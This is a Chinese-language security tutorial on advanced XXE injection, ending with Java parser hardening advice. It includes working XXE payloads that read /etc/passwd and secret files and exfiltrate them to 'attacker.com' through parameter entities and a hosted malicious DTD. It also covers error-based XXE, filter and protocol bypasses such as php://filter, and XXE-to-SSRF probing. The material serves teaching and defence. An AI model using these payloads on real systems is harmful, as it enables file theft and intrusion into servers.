XXE(XML外部实体注入)漏洞进阶与防护
字数 848 2025-11-13 16:58:55
XXE(XML外部实体注入)漏洞进阶与防护
描述
XXE(XML External Entity Injection)漏洞发生在应用程序解析XML输入时,未禁用外部实体引用,导致攻击者能够读取服务器文件、发起SSRF攻击或造成拒绝服务。进阶篇将深入探讨盲注XXE、基于错误的XXE、参数实体注入等高级利用技术,以及针对现代防御的绕过方法。
解题过程
-
理解XML外部实体基础
XML允许定义自定义实体(如&entity;),外部实体通过SYSTEM关键字引用外部资源:<!DOCTYPE foo [<!ENTITY ext SYSTEM "file:///etc/passwd">]> <data>&ext;</data>若解析器未禁用外部实体,将返回文件内容。
-
盲注XXE(无回显场景)
当文件内容无法直接返回时,通过外带数据(OOB)泄露信息:- 定义参数实体和外部实体,将文件内容作为URL参数发送到攻击者服务器:
<!DOCTYPE foo [ <!ENTITY % payload SYSTEM "file:///secret.txt"> <!ENTITY % param "<!ENTITY send SYSTEM 'http://attacker.com/?data=%payload;'>"> %param; ]> <data>&send;</data> - 需确保XML解析器支持参数实体嵌套(某些场景需拆分DTD)。
- 定义参数实体和外部实体,将文件内容作为URL参数发送到攻击者服务器:
-
基于错误的XXE
若外带请求被阻止,通过触发错误消息包含文件内容:- 利用无效文件名或XML结构构造错误:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; - 服务器返回的错误信息中可能暴露文件内容。
- 利用无效文件名或XML结构构造错误:
-
参数实体注入技巧
- 当内部DTD被阻止时,通过外部DTD注入参数实体:
攻击者托管恶意DTD(evil.dtd):
在XML中引用:<!ENTITY % exfil SYSTEM "http://attacker.com/steal?data=%file;"><!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
- 当内部DTD被阻止时,通过外部DTD注入参数实体:
-
绕过防御机制
- 过滤绕过:使用UTF-16编码、CDATA块或混合大小写绕过关键词检测。
- 协议限制绕过:若
file://被禁,尝试php://filter/convert.base64-encode/resource=/etc/passwd(PHP环境)。 - XXE转SSRF:利用
http://internal-api/admin探测内网服务。
-
防护措施
- 禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - 使用SAXParser等安全解析器,并设置属性如
XMLConstants.FEATURE_SECURE_PROCESSING。 - 输入校验:过滤
<!DOCTYPE和<!ENTITY等关键词。 - 依赖更新:修复XML库已知漏洞(如libxml2≥2.9默认禁用外部实体)。
- 禁用外部实体: